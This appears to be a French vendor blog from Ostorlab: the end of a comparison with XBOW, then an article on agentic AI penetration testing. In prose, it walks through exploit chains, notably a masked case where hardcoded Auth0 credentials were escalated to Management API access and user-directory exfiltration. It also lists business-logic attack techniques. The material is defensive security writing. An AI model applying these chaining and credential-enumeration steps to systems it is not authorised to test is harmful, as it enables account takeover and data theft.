Ostorlab associe journaux de preuve et automatisation de la remédiation : * AutoFix : Pour les intégrations de dépôts prises en charge, Ostorlab génère des pull requests contenant des correctifs de code ciblés directement dans le fournisseur Git du développeur, suivies d'un nouveau test automatisé pour vérifier que le correctif résout la vulnérabilité sans régression. * Vérification ciblée (SVA et Dig Deeper) : Les équipes peuvent lancer une Single Vulnerability Assessment (SVA) pour tester une soumission de bug bounty précise ou un endpoint corrigé sans déclencher un cycle de scan complet, ou utiliser Dig Deeper pour explorer la cause racine d'une vulnérabilité existante.

Modèle opérationnel et tests continus

Les plateformes diffèrent aussi par la façon dont elles s'intègrent aux pipelines d'ingénierie :

Automatisation et CI/CD : XBOW expose une API REST qui permet aux équipes d'ingénierie de lancer des évaluations, de suivre leur progression et d'ingérer les rapports de vulnérabilités via des scripts personnalisés ou des orchestrateurs. Ostorlab fournit des actions prêtes à l'emploi pour GitHub Actions, GitLab CI et Jenkins, ainsi que des déclencheurs de surveillance des stores qui lancent des scans dès que de nouvelles versions mobiles apparaissent sur les app stores publics.
Moteur en couches et contrôle des modèles : Ostorlab met en œuvre un modèle de test à 3 couches : des scanners déterministes rapides pour les contrôles statiques et de configuration, une analyse sémantique prenant en charge Bring Your Own Key (BYOK) pour des LLM approuvés par l'entreprise, et des agents autonomes pour l'exploration d'exploits en plusieurs étapes.
Achat et déploiement : XBOW tarife selon l'usage, par environnement, sans prix publié ; son ancienne offre Pentest On-Demand a été retirée le 16 juillet 2026. Ostorlab propose des offres en libre-service à partir de 499 $, et prend en charge à la fois un déploiement cloud multirégion (US, UE, KSA) et une installation on-premises pour les environnements isolés (air-gapped) ou strictement réglementés.

FAQ

XBOW teste-t-il les applications mobiles ?

La documentation publique de XBOW se concentre sur les applications web interactives et les API qui les soutiennent. Elle ne documente pas publiquement les applications Android APK/AAB ou iOS IPA comme cibles d'évaluation prises en charge. Ostorlab fournit des tests de sécurité dédiés aux applications mobiles via Agentic Deep Scan pour Android et iOS.

XBOW teste-t-il les API ?

Oui. XBOW documente la prise en charge des API associées à une application web interactive. Ostorlab teste les API à la fois comme cibles autonomes et dans le contexte de clients mobiles ou web, ce qui permet aux agents de mettre en corrélation les comportements du client avec la logique de l'API backend.

XBOW peut-il tester le code source ?

XBOW permet d'importer du code source comme contexte d'évaluation pour éclairer les tests web, mais ne documente pas publiquement l'audit autonome de dépôts de code source. Ostorlab se connecte directement aux fournisseurs Git (GitHub, GitLab, Azure DevOps, Bitbucket, auto-hébergé) pour évaluer les dépôts de code et générer des correctifs automatisés sous forme de pull requests.

Quelle plateforme est la meilleure pour la sécurité des applications mobiles ?

Ostorlab inclut des tests de sécurité natifs des applications mobiles, couvrant l'analyse des binaires Android et iOS, la validation du contournement du shielding à l'exécution sur appareils physiques et l'évaluation des applications tierces. XBOW ne documente pas publiquement la prise en charge de cibles mobiles natives.

Qu'est-ce que Multi-Asset Deep Agentic Scan ?

Multi-Asset Deep Agentic Scan est le workflow d'évaluation connecté d'Ostorlab pour les applications qui s'étendent sur des actifs mobiles, web, API, réseau et de code source. Il conserve le contexte entre les actifs, ce qui permet aux agents d'utiliser les découvertes faites sur une cible (comme un identifiant ou un endpoint extrait) pour guider les tests sur des services liés.

Quelles preuves XBOW et Ostorlab fournissent-ils ?

Les deux plateformes fournissent des preuves déterministes pour les vulnérabilités validées. XBOW documente les détails de l'exploit, des conseils de reproduction, des artefacts de preuve, des recommandations d'atténuation et des traces complètes des tests. Les vulnérabilités d'Ostorlab comprennent des journaux de trafic HTTP, des captures d'écran, des commandes exécutées, des traces d'exécution sur appareil, des étapes de reproduction et des chemins d'exploitation traversant plusieurs frontières.

XBOW prend-il en charge les tests continus déclenchés par CI/CD ?

Oui. L'API REST publique de XBOW permet à une automatisation externe de déclencher des évaluations et de récupérer les vulnérabilités. Ostorlab fournit des plugins prêts à l'emploi pour GitHub Actions, GitLab CI et Jenkins, ainsi qu'un scan automatique déclenché par les nouvelles publications d'applications mobiles sur les app stores.

Qu'est-ce que Mobile Shielding Scan ?

Mobile Shielding Scan est une fonctionnalité d'Ostorlab qui évalue si les protections à l'exécution (notamment l'anti-falsification, la détection du root/jailbreak et le certificate pinning) résistent à de vraies tentatives de contournement sur des appareils physiques, au lieu de vérifier simplement leur présence dans des fichiers de configuration.

Qu'est-ce que App Vetting ?

App Vetting est un cadre de notation du risque d'Ostorlab pour évaluer les applications mobiles tierces avant leur déploiement en entreprise, en analysant les indicateurs de malware, les vulnérabilités de sécurité, les comportements en matière de confidentialité et de télémétrie, la confiance accordée à l'éditeur et la maintenabilité.

Quelle est la différence entre SVA et Dig Deeper ?

Single Vulnerability Assessment (SVA) lance un scan ciblé sur une seule vulnérabilité soumise (utile pour vérifier des rapports de bug bounty). Dig Deeper se lance directement depuis une vulnérabilité existante pour remonter à la cause racine ou valider d'éventuels cas limites.

Ostorlab inclut-il la gestion de la surface d'attaque ?

Oui. Ostorlab découvre et surveille en continu les actifs sur les domaines, les dépôts de code source, les comptes SaaS et les applications mobiles, et intègre les actifs découverts dans le Threat Center central.

Combien coûte Ostorlab par rapport à XBOW ?

L'Agentic Deep Scan d'Ostorlab démarre à 499 $ avec une inscription en libre-service. XBOW ne publie aucun prix : sa tarification est basée sur l'usage et établie pour chaque environnement. Les tarifs et conditions peuvent varier pour les déploiements en entreprise.

Limites de cette comparaison

Les capacités, les tarifs et la documentation des éditeurs changent fréquemment. Les informations sur XBOW ont pu changer depuis le 28 juillet 2026.
Aucun benchmark indépendant des taux de détection, des taux de faux positifs ou de la vitesse de scan n'a été réalisé pour cet article.
Cet article ne rend pas compte de tests pratiques de XBOW. Les affirmations sur XBOW reflètent ses documents publics ; les affirmations sur Ostorlab reflètent la documentation produit d'Ostorlab.
Vérifiez les capacités, les tarifs et les options de déploiement actuels directement auprès de chaque éditeur, idéalement en testant les deux plateformes sur vos propres applications.

Évaluer les deux plateformes

Les organisations qui envisagent le test d'intrusion autonome devraient tester les plateformes candidates sur leurs applications réelles. Comparer la façon dont chaque moteur gère la découverte des cibles, les tests d'autorisation multi-rôles et les preuves d'exploitation donne le signal le plus clair sur son adéquation avec des workflows de sécurité et d'ingénierie spécifiques.

Vous utilisez déjà XBOW ? Comparez Ostorlab avec XBOW sur la même application : même cible, même durée. Une vulnérabilité ne compte qu'après avoir été reproduite par votre équipe.

Comment l'IA détecte les vulnérabilités complexes : pentest agentique et chaînage d'exploits

2026-07-28T10:00:00+02:00

Une injection SQL est facile à repérer. Un payload entre, une erreur ressort, un scanner la signale. C'est de la reconnaissance de motifs, et les outils AppSec traditionnels y excellent depuis vingt ans.

Une faille de logique métier, c'est une tout autre bête. Rien n'est malformé. Aucun payload ne casse quoi que ce soit. La requête est syntaxiquement parfaite, entièrement authentifiée et parfaitement « valide » — mais elle fait quelque chose que l'entreprise n'a jamais voulu permettre, comme laisser un utilisateur standard appliquer un code de réduction réservé à un usage interne, ou laisser un attaquant authentifié récupérer les factures d'un autre tenant en décrémentant un entier dans l'URL. Il n'existe pas de signature pour cela. Il n'existe pas de regex pour « ce workflow n'a aucun sens métier ». Détecter ce type de faille suppose de comprendre l'intention — ce que l'application est censée faire — puis de raisonner sur la façon dont cette intention peut être détournée.

Ce déficit de raisonnement, c'est précisément ce que l'IA agentique commence à combler, et c'est pourquoi le discours sur l'IA en sécurité offensive est passé de « scan plus intelligent » à « agents autonomes qui se comportent comme des hackers humains ». Cet article détaille, à un niveau technique, comment cela fonctionne réellement : comment les agents construisent leur contexte, cartographient les chemins d'attaque et enchaînent des résultats isolément inoffensifs pour en faire un exploit critique, et où l'approche se heurte encore à de vraies limites. En parallèle de la théorie, nous présentons une vulnérabilité réelle détectée par Ostorlab Agentic Deep Scan, où ce type de raisonnement a transformé un identifiant codé en dur, déjà marqué comme « corrigé », en prise de contrôle complète des identités d'un tenant.

Qu'est-ce que le pentest agentique ? Le pentest agentique consiste à utiliser des agents IA autonomes pour construire des modèles contextuels d'une application, cartographier des chemins d'attaque en plusieurs étapes et enchaîner des vulnérabilités en apparence de faible sévérité en exploits critiques, en imitant la boucle de raisonnement d'un chercheur en sécurité humain.

Pourquoi les scanners à base de règles atteignent un plafond

Les outils SAST et DAST reposent sur la même primitive fondamentale : comparer l'entrée ou le code à un motif connu comme malveillant. Cette primitive est rapide, déterministe et peu coûteuse à exécuter dans un pipeline CI — mais elle a trois angles morts structurels qu'aucun ajout de règles ne peut totalement combler.

Limite	Pourquoi elle existe	Ce qui échappe
Pas d'état entre les requêtes	Les scanners évaluent généralement les endpoints isolément, requête par requête	Les abus en plusieurs étapes : ajouter un article, appliquer un coupon, puis passer la quantité en négatif avant le paiement
Pas de notion de « devrait »	Les règles encodent la syntaxe, pas l'intention — une requête syntaxiquement valide ne peut pas être signalée par une signature	Un utilisateur ordinaire qui appelle un endpoint d'export réservé aux administrateurs et ne vérifie jamais le rôle, car rien dans la requête n'est malformé
Pas de contexte d'autorisation entre comptes	Les crawlers à session unique ne peuvent pas facilement déterminer à qui appartient un objet	BOLA/IDOR — l'objet 1042 renvoyé à un utilisateur qui possède l'objet 1041, avec un 200 OK et un JSON valide

Les éditeurs ont tenté de combler ces lacunes avec plus de règles, plus de regex et des bases de signatures plus volumineuses, mais l'architecture sous-jacente reste réactive : comparer maintenant, agir maintenant, oublier les dix dernières requêtes. Les vulnérabilités de logique métier se situent précisément dans l'angle que cette architecture ne voit pas — entre les étapes, entre les comptes, et entre ce qu'un workflow est censé autoriser et ce qu'il autorise réellement.

Ce que « agentique » signifie réellement ici

Un système de pentest agentique remplace l'étape unique de comparaison et de rapport par une boucle beaucoup plus proche de la façon dont travaille un pentesteur humain :

Reconnaissance — énumérer la surface d'attaque : endpoints, paramètres, flux d'authentification, rôles, routes d'API cachées ou non documentées.
Hypothèse — raisonner sur ce qui pourrait mal tourner au vu du comportement observé (« cet endpoint accepte un order_id et ne vérifie jamais la propriété — à tester comme candidat BOLA »).
Test — élaborer et envoyer une requête qui confirmerait ou infirmerait l'hypothèse, en s'adaptant à la réponse.
Validation — confirmer que la vulnérabilité est réellement exploitable et non un faux positif, généralement en reproduisant un impact réel.
Chaînage — se demander si cette vulnérabilité, combinée à ce qui a déjà été découvert, ouvre un chemin que l'agent n'a pas encore essayé.

Les étapes 2 et 5 font la différence. Un scanner à base de règles dispose de l'étape 3 et, faiblement, de l'étape 4. Il ne formule pas d'hypothèses sur l'intention, et n'a aucune mémoire des résultats précédents à combiner avec le résultat courant. Un agent piloté par un LLM, au contraire, tient à jour un modèle de l'application — ce qu'il a appris, ce qu'il soupçonne, ce qu'il a déjà écarté — et s'en sert pour décider quoi essayer ensuite, de la même façon qu'un testeur humain prend des notes mentales au fil d'une mission de plusieurs jours.

Construire une conscience du contexte avant d'attaquer quoi que ce soit

Avant de pouvoir trouver quoi que ce soit d'intéressant, un agent doit construire un modèle opérationnel de l'application qui va bien au-delà d'une liste d'URL. En pratique, cette phase de construction du contexte couvre généralement :

Le modèle d'autorisation — quels rôles existent, ce que chaque rôle est censé pouvoir faire, et comment cela est appliqué (claims JWT, état de session, middleware RBAC ou — comme le montre l'étude de cas ci-dessous — les audiences et scopes pour lesquels un client OAuth donné est réellement enregistré).
La structure de l'API et des schémas — spécifications OpenAPI/Swagger, introspection GraphQL ou, dans une configuration qui exploite le code, la logique réelle de routage et de contrôleurs extraite du dépôt.
Les workflows en plusieurs étapes — parcours de paiement, onboarding, réinitialisation de mot de passe, chaînes d'invitation et d'approbation — reconstitués en parcourant réellement l'application comme le ferait un utilisateur, et pas seulement en listant les endpoints.
L'atteignabilité au niveau du code — pour les agents qui exploitent le code, il s'agit de parcourir le graphe d'appels depuis un point d'entrée (une route HTTP, un consommateur de file de messages) afin de voir si une entrée non fiable peut réellement atteindre un sink sensible, plutôt que de signaler chaque occurrence d'une fonction risquée en se basant sur son nom.

C'est le même travail préparatoire que fait un pentesteur humain compétent pendant la phase de reconnaissance et de cartographie d'une mission — lire la documentation, parcourir l'application avec différents rôles, repérer où des frontières de privilèges devraient exister — sauf qu'un agent peut garder simultanément en mémoire de travail l'intégralité du schéma, les actions permises à chaque rôle et tous les résultats de tests précédents, et tout revérifier chaque fois qu'une nouvelle vulnérabilité change la donne.

Des vulnérabilités individuelles aux chemins d'attaque

Une fois qu'un agent dispose d'un modèle de l'application, il cesse de traiter chaque endpoint comme une cible de test isolée et traite l'ensemble de l'application comme un graphe : points d'entrée, frontières de confiance et arêtes qui les relient. C'est plus proche de la cartographie de chemins d'attaque que du scan — la question passe de « cet endpoint est-il vulnérable ? » à « compte tenu de tout ce qui a été découvert jusqu'ici, quel est le chemin le plus court entre une requête non authentifiée et quelque chose qui compte — accès administrateur, données d'un autre tenant, mouvement de fonds ? »

Cette vision en graphe est ce qui rend le chaînage possible. Une vulnérabilité qui semble une impasse isolément — une fuite d'informations sans impact direct, par exemple — peut être l'arête manquante qui relie deux autres vulnérabilités en un chemin opérant vers la compromission totale. Un scanner à base de règles n'a pas de graphe ; il a une liste d'alertes indépendantes. Un agent a un graphe qu'il met continuellement à jour.

La compétence clé : enchaîner des vulnérabilités de faible sévérité en un exploit critique

C'est la capacité qui distingue le plus les tests agentiques du scan traditionnel ; il vaut donc la peine de parcourir de bout en bout un exemple réaliste et illustratif avant d'en examiner un réel.

Scénario : une plateforme SaaS B2B, multi-tenant, avec une fonctionnalité de facturation standard.

Vulnérabilité 1 (faible — informative) : Les réponses d'erreur de l'application sur /api/v1/users/{id}/profile révèlent que les identifiants utilisateur sont des entiers séquentiels, et l'endpoint renvoie un « not found » générique au lieu d'un véritable 403 pour les identifiants hors plage — techniquement de faible sévérité, puisque les données de profil renvoyées sont minimales, mais cela confirme que l'espace des identifiants est énumérable.

Vulnérabilité 2 (moyenne — BOLA) : /api/v1/invoices/{id} effectue l'authentification mais pas l'autorisation — il vérifie qu'une session valide existe, mais ne vérifie jamais que le tenant de l'utilisateur à l'origine de la requête possède la facture demandée. Isolément, les équipes la classent souvent comme « moyenne » parce que les factures ne contiennent pas d'identifiants de connexion.

Vulnérabilité 3 (faible — faiblesse de conception) : Les PDF de factures générés intègrent un lien profond « gérer votre abonnement » contenant un jeton de réinitialisation de mot de passe valable 24 heures et généré à partir d'une graine prévisible (horodatage + identifiant utilisateur) plutôt que d'une valeur cryptographiquement aléatoire — classée comme faible parce que l'exploiter isolément exigerait de connaître déjà l'identifiant et l'horodatage de création d'un utilisateur précis.

Prises individuellement : trois tickets, aucun au-dessus de moyen, probablement planifiés pour un sprint ordinaire dans plusieurs mois.

Enchaînées : un agent qui a déjà cartographié l'énumération des identifiants de la vulnérabilité 1 s'en sert pour parcourir les identifiants de factures via la vulnérabilité 2, en récupérant des factures de différents tenants jusqu'à tomber sur celle d'un compte administrateur. Le PDF de cette facture contient le lien profond de la vulnérabilité 3. Comme la graine de génération du jeton est désormais déductible (l'agent dispose de l'identifiant utilisateur grâce aux métadonnées de la facture et d'une borne d'horodatage grâce à la date de la facture), il reconstruit un jeton de réinitialisation valide, réinitialise le mot de passe de l'administrateur et se connecte avec tous les privilèges d'administrateur du tenant — une prise de contrôle de compte inter-tenants, à partir de trois vulnérabilités dont aucun résultat de scan pris isolément n'aurait signalé l'urgence.

C'est ce que signifie concrètement le « chaînage d'exploits » : non pas un payload astucieux unique, mais une recherche dans un graphe sur la surface d'attaque découverte, où l'agent se demande en permanence « est-ce que quelque chose d'autre que j'ai trouvé rend ceci exploitable ? » Un scanner à base de règles produit trois tickets distincts de sévérité faible ou moyenne et s'arrête là. Un agent qui conserve l'état tout au long de la mission reconnaît le lien parce qu'il n'a jamais cessé de modéliser l'application comme un seul système.

Le voir à l'œuvre : une chaîne réelle découverte par Agentic Deep Scan

Le scénario de facturation ci-dessus est illustratif. Le schéma qu'il décrit — une vulnérabilité qui semble circonscrite jusqu'à ce qu'on la confronte à tout ce que l'agent sait déjà — se retrouve constamment dans des missions réelles. En voici une, issue d'un Ostorlab Agentic Deep Scan exécuté sur une application iOS (les valeurs ci-dessous sont masquées ou utilisent le domaine synthétique acme.test, conformément à la façon dont le tenant sous-jacent avait été délimité pour les tests).

Vulnérabilité n° 1 — classée High, puis marquée Fixed & Verified : "Hardcoded Auth0 M2M OAuth Credentials Issue Production JWTs for Internal ACME Service." Le moteur a désassemblé le binaire Mach-O de l'application et y a trouvé un client_id et un client_secret Auth0 machine-à-machine actifs, intégrés à la compilation via le mécanisme DART_DEFINES de Flutter — un schéma courant pour injecter la configuration backend dans un build mobile, et une façon courante de livrer par accident des secrets backend à chaque appareil qui installe l'application.

Identifiants M2M Auth0 codés en dur — vulnérabilité initiale de sévérité High

Figure 1 : La vulnérabilité initiale. Les identifiants extraits ont été prouvés actifs — et pas seulement présents dans le binaire — en demandant un jeton à l'endpoint /oauth/token du tenant et en confirmant un HTTP 200 avec un vrai JWT signé, face à la référence d'un HTTP 401 obtenu avec des identifiants fabriqués.

Le décodage du JWT renvoyé a confirmé que le jeton était réel et lié à ce tenant précis : un scope read:TSC, un grant client-credentials et une clé de signature rattachable à l'endpoint JWKS du tenant lui-même — lequel divulguait au passage le nom d'hôte interne du tenant.

JWT décodé confirmant un jeton actif et limité au tenant

Figure 2 : À ce stade, la vulnérabilité paraît circonscrite. Le jeton n'affirme que read:TSC pour une seule audience, et la vulnérabilité a été triée, corrigée et vérifiée comme High — un vrai problème d'hygiène des identifiants, mais un problème borné.

C'est là qu'un scanner — et, franchement, la plupart des revues manuelles en une passe — s'arrêterait. L'identifiant est confirmé actif, le risque est documenté, l'équipe d'ingénierie le fait tourner ou en réduit la portée, et le ticket est clos. L'agent ne s'est pas arrêté là, parce que « corrigé et vérifié » répondait à la question de savoir si l'identifiant fonctionnait, pas à celle de tout ce auprès de quoi l'identifiant pouvait s'authentifier.

Vulnérabilité n° 2 — classée Critical, toujours Open : "Hardcoded Auth0 M2M Credentials in ACME iOS App Enable Auth0 Management API Access and Tenant-Wide User PII Exfiltration." Les mêmes identifiants intégrés restaient actifs. L'hypothèse suivante de l'agent était simple, dans le même esprit que l'étape « hypothèse » décrite plus haut : un client M2M Auth0 peut être autorisé pour plus d'une audience, et l'application n'exerce que celle qu'elle a été conçue pour appeler — alors, pour quoi d'autre ce client est-il réellement enregistré ?

Mêmes identifiants, accès à l'Auth0 Management API — escalade en Critical

Figure 3 : Mêmes client_id et client_secret que dans la vulnérabilité n° 1. L'énumération des audiences a révélé qu'ils étaient aussi enregistrés pour l'audience de l'Auth0 Management API, qui émet des jetons à huit scopes distincts — dont update:users, delete:users, create:users et create:client_credentials.

Les preuves d'exploitation montrent exactement comment le pivot a été trouvé et validé : une énumération systématique des audiences, et non un coup de chance.

De l'énumération des audiences à l'exfiltration de l'annuaire complet des utilisateurs du tenant

Figure 4 : L'étape 1 a testé 38 audiences candidates sur le même endpoint de jetons que dans la vulnérabilité n° 1, jusqu'à ce que https://acme.auth0.test/api/v2/ — la Management API du tenant lui-même — renvoie un HTTP 200 au lieu d'un 403. L'étape 2 a utilisé le jeton obtenu pour une seule requête GET non destructive et a récupéré l'annuaire complet de 1 000 utilisateurs : e-mails, numéros de téléphone, dernières adresses IP et comportement de connexion.

En mettant les deux vulnérabilités côte à côte, la logique de chaînage est exactement l'idée de recherche dans un graphe de la section précédente, mais avec la surface d'autorisation d'un identifiant comme graphe, à la place d'un ensemble d'endpoints :

	Vulnérabilité n° 1 (corrigée)	Vulnérabilité n° 2 (ouverte)
Même cause racine	Identifiant M2M codé en dur dans le binaire iOS	Même identifiant, même binaire
Ce qui a été testé	L'unique audience que l'application appelle elle-même	38 audiences candidates, systématiquement
Ce que cela a débloqué	Un jeton `read:TSC` pour un service interne	Un jeton de Management API à 8 scopes
Impact pratique	Accès borné à un service interne	Annuaire complet des utilisateurs du tenant (1 000 enregistrements de PII) et pouvoir latent de créer, modifier et supprimer des utilisateurs et de générer de nouveaux identifiants client
Statut lors du nouveau test	Déjà « Fixed & Verified »	Toujours Open — la correction portait sur l'audience connue, pas sur la surface d'autorisation réelle de l'identifiant

Rien dans la vulnérabilité n° 2 n'exigeait une nouvelle classe de vulnérabilité ni un payload astucieux. Il a suffi de traiter « cet identifiant fonctionne pour l'audience A » comme une hypothèse à continuer de tester, et non comme une question close — le même réflexe qui a transformé trois tickets de sévérité faible ou moyenne sans lien entre eux en prise de contrôle d'un tenant dans le scénario illustratif ci-dessus. La différence ici est que la vulnérabilité sur laquelle elle s'appuyait avait déjà été marquée comme résolue, ce qui est précisément la raison pour laquelle l'état et la réévaluation comptent : une correction qui ferme le chemin documenté peut laisser la portée complète de l'identifiant sous-jacent non cartographiée.

Là où cela compte le plus : les failles de logique métier

Les vulnérabilités de logique métier sont la catégorie où cette approche contextuelle et avec état fait la différence, précisément parce que ces failles ne correspondent à aucune signature CWE — elles correspondent à une hypothèse erronée sur la façon dont le workflow devrait se comporter.

Faille de logique métier	Ce que voit un scanner à base de règles	Ce que teste un agent
Falsification du prix au paiement	Un paramètre de prix dans un corps POST — rien de malformé	Si le serveur revalide le prix côté serveur, ou fait confiance à la valeur soumise par le client lors du débit final
Cumul de coupons et de réductions	Deux appels d'API valides et fonctionnant indépendamment	Si appliquer le coupon A puis le coupon B contourne une règle « une seule réduction par commande » que le frontend applique mais pas le backend
Quantité négative / abus de remboursement	Un champ de quantité qui accepte un entier	Si une quantité négative est acceptée et traitée comme un crédit plutôt que rejetée
Saut d'étapes du workflow	Appels d'endpoints indépendants, chacun authentifié	Si appeler directement l'étape 3 d'un workflow d'approbation à 4 étapes, sans les étapes 1 à 2, mène quand même l'action à son terme
Race conditions sur des ressources limitées	N/A — le timing n'est pas visible pour les scanners à requête unique	Envoyer des requêtes concurrentes vers un endpoint à débit limité ou à usage unique (un code promo, un retrait) pour voir si la logique de vérification puis d'action peut être mise en concurrence

Aucune de ces failles ne demande de payload inhabituel. Elles demandent un agent qui comprend à quoi sert le workflow, puis essaie systématiquement les séquences, les valeurs de paramètres et les fenêtres de timing que le concepteur n'avait pas anticipées — exactement l'exploration que mène un testeur humain compétent lorsqu'il cesse de chercher une syntaxe cassée et se demande « que se passe-t-il si je fais ceci dans le désordre ? »

Résoudre le problème des faux positifs : des preuves, pas de la reconnaissance de motifs

La conscience du contexte résout la moitié du problème ; l'autre moitié est la confiance. Les équipes de sécurité ont passé des années à filtrer le bruit des scanners, et un agent qui « raisonne » pour aboutir à un résultat ne vaut rien si l'ingénierie ne croit pas à sa sortie. La solution vers laquelle convergent les plateformes agentiques matures est celle qu'appliquerait un trieur de bug bounty : ne pas rapporter une hypothèse, rapporter une preuve.

En pratique, cela signifie que l'étape de validation (l'étape 4 de la boucle ci-dessus) n'est pas un score de confiance — c'est une véritable reproduction, proche de ce que montrent les figures 1 et 4 ci-dessus : une requête exécutable, la réponse exacte qu'elle a produite et l'affirmation précise que cette réponse étaye. Cela suppose :

De générer une preuve de concept exécutable, typiquement une commande cURL ou un script de requêtes, qu'un développeur peut lancer pour voir l'exploit se produire.
De capturer la trace complète des preuves — requête, réponse et, le cas échéant, captures d'écran ou journaux montrant l'impact réel (les données d'un autre tenant à l'écran, un changement de privilèges qui prend effet).
De retester la vulnérabilité après la livraison d'un correctif, pour confirmer que le patch a réellement fermé le chemin au lieu de simplement changer le message d'erreur — exactement la vérification qui aurait permis de détecter plus tôt la vulnérabilité n° 2 ci-dessus, puisque la correction de la vulnérabilité n° 1 n'avait pas supprimé la surface d'autorisation plus large de l'identifiant.

C'est aussi là que la revue avec intervention humaine garde sa place, même dans un pipeline très autonome : les vulnérabilités inédites, ou les chaînes qui touchent des systèmes particulièrement sensibles, gagnent à ce qu'une personne confirme la preuve de l'agent avant qu'elle n'arrive dans la file d'un développeur. L'objectif n'est pas de retirer le jugement du processus — c'est de s'assurer que le jugement exercé, humain ou automatisé, repose sur des preuves plutôt que sur une correspondance de motifs.

Comment ces systèmes sont réellement construits

Sous le capot, les plateformes de pentest agentique convergent généralement vers une architecture en couches plutôt que vers un modèle monolithique qui ferait tout à la fois :

Une couche de coordination qui délimite la cible, découpe la mission en chantiers indépendants et décide à quel spécialiste confier chacun — elle n'attaque rien elle-même.
Des agents spécialisés, chacun concentré sur un problème plus étroit : l'un réglé pour l'exploration BOLA/IDOR, un autre pour les failles d'authentification et de session, un autre spécifiquement pour les abus de logique métier en plusieurs étapes, un autre pour les tests de régression des problèmes déjà corrigés.
Des outils déterministes en sandbox que les agents appellent pour le travail mécanique proprement dit — envoyer des requêtes, analyser des réponses, comparer des états — de sorte que le LLM raisonne sur ce qu'il faut tester, au lieu de fabriquer à la main du trafic HTTP brut à chaque fois.

Découper l'architecture ainsi compte autant pour la précision que pour la sécurité : un agent généraliste unique qui tente de raisonner simultanément sur la reconnaissance, l'injection, le contrôle d'accès et la logique métier a tendance à perdre le fil dans une fenêtre de contexte saturée. Des agents plus ciblés et coordonnés restent concentrés, ce qui explique aussi pourquoi le modèle précis derrière chaque agent compte souvent moins que la façon dont la couche d'orchestration gère le périmètre, la mémoire et l'accès aux outils. Les plateformes conçues spécifiquement pour la sécurité applicative — Agentic Deep Scan d'Ostorlab en fait partie — appliquent ce même schéma aux cibles web comme mobiles, en associant l'exploration autonome à une couche de triage par IA qui revalide chaque vulnérabilité avant qu'elle ne soit présentée, de sorte que ce que voit le développeur est étayé par des preuves et non une simple supposition du modèle.

Là où les humains gardent l'avantage

Rien de tout cela ne rend les pentesteurs humains superflus, et les éditeurs les plus crédibles du domaine sont explicites sur ce point. Les systèmes agentiques sont aujourd'hui les plus efficaces sur les classes de vulnérabilités qui récompensent une exploration systématique et exhaustive — le contrôle d'accès basé sur les rôles, les IDOR/BOLA sur un grand nombre d'objets et de tenants, et les schémas de chaînage connus appliqués à une échelle qu'aucun humain ne pourrait égaler dans le même temps (tester 38 audiences candidates une à une est exactement ce genre de tâche). Ils sont comparativement plus faibles sur les chaînes d'attaque réellement inédites qui exigent une pensée latérale créative en dehors des schémas auxquels ils ont été exposés, sur le jugement approfondi du risque métier (« est-ce techniquement exploitable mais sans pertinence opérationnelle pour ce client précis ? ») et sur l'ingénierie sociale ou les scénarios proches du physique qui sortent entièrement du périmètre d'une surface d'API.

Le tableau réaliste pour 2026 est celui d'une augmentation, non d'un remplacement : les agents assurent l'exploration continue et à large couverture qui consommait l'essentiel du temps calendaire d'une mission de pentest, et les testeurs humains consacrent leurs heures aux 10 % de résultats les plus difficiles et les plus créatifs — ainsi qu'à la validation de ce que produisent les agents.

Évaluer une plateforme de pentest par IA agentique : ce qu'il faut vraiment vérifier

Pour un architecte AppSec qui doit décider s'il intègre l'un de ces outils dans un pipeline DevSecOps, quelques questions suffisent à écarter l'essentiel du discours marketing :

Maintient-il l'état sur l'ensemble de la mission, ou relance-t-il des tests isolés par endpoint ? L'état est le prérequis même du chaînage.
Chaque vulnérabilité est-elle livrée avec une preuve reproductible (une requête exécutable, pas seulement une description) plutôt qu'avec un score de sévérité à vérifier manuellement ?
Peut-il tester des workflows authentifiés et multi-rôles — se connecter avec plusieurs types d'utilisateurs distincts et tester l'accès entre rôles, pas seulement scanner la surface non authentifiée ?
Retest-il après un correctif, en bouclant la boucle au lieu de laisser votre équipe confirmer manuellement la remédiation — y compris en vérifiant si un correctif a traité toute la surface d'autorisation, et pas seulement le chemin spécifique rapporté en premier ?
Comment s'intègre-t-il au CI/CD — peut-il s'exécuter à chaque pull request sans devenir un goulot d'étranglement, et s'intègre-t-il au système de tickets que vos développeurs utilisent déjà ?
Quel est le modèle d'intervention humaine — existe-t-il une étape de revue pour les vulnérabilités à fort impact ou inédites avant qu'elles n'atteignent l'ingénierie, et pouvez-vous apporter votre propre modèle ou clé d'API si la résidence des données compte pour votre organisation ?

FAQ

Les agents IA peuvent-ils trouver des vulnérabilités de logique métier ? Oui, dans certaines limites. Les agents qui conservent le contexte sur les rôles, les workflows et les résultats précédents peuvent identifier des failles logiques comme la falsification au paiement, le saut d'étapes d'un workflow et les problèmes d'accès inter-tenants, que les scanners à base de motifs sont structurellement incapables de détecter, car ces failles ne correspondent pas à une requête malformée. Ils sont moins fiables sur les failles qui exigent un jugement sur un risque métier propre à une organisation donnée.

En quoi le test d'intrusion par IA agentique diffère-t-il du DAST/SAST traditionnel ? Le DAST et le SAST comparent des requêtes ou du code à des motifs connus comme malveillants, requête par requête, avec peu ou pas de mémoire sur l'ensemble de la mission. Le pentest agentique exécute une boucle de raisonnement continue — reconnaissance, hypothèse, test, validation, chaînage — qui maintient un modèle opérationnel de toute l'application et cherche activement comment les résultats précédents se combinent en un exploit plus large.

Que sont, techniquement, les outils automatisés de chaînage d'exploits ? Ce sont des systèmes qui traitent la surface d'attaque découverte comme un graphe plutôt que comme une liste, en suivant comment chaque vulnérabilité modifie ce qui est atteignable ailleurs dans l'application. Quand une nouvelle vulnérabilité est confirmée, l'agent réévalue si elle se connecte à quelque chose déjà découvert — comme une fuite d'informations qui peut rendre exploitable à grande échelle une IDOR auparavant jugée « moyenne », ou comme la surface d'autorisation complète d'un identifiant exposé qui peut s'étendre bien au-delà de l'unique audience pour laquelle il avait d'abord été signalé.

Les outils de pentest par IA agentique éliminent-ils les faux positifs ? Aucun outil ne les élimine entièrement, mais les meilleures plateformes les réduisent nettement en exigeant une preuve d'exploitabilité — une PoC exécutable et une trace de preuves — avant de rapporter une vulnérabilité, plutôt que de rapporter une correspondance de motif ou un score de confiance du modèle.

L'IA peut-elle remplacer les pentesteurs humains ? Pas actuellement, et la plupart des éditeurs crédibles ne prétendent pas le contraire. Les agents excellent dans les tests systématiques à large couverture sur des classes de vulnérabilités connues, à une vitesse et à une échelle que les humains ne peuvent égaler. Les humains restent meilleurs sur les chaînes d'attaque inédites, le jugement du risque métier et la validation des résultats à plus fort impact avant qu'ils n'atteignent un client ou une équipe d'ingénierie.

L'essentiel

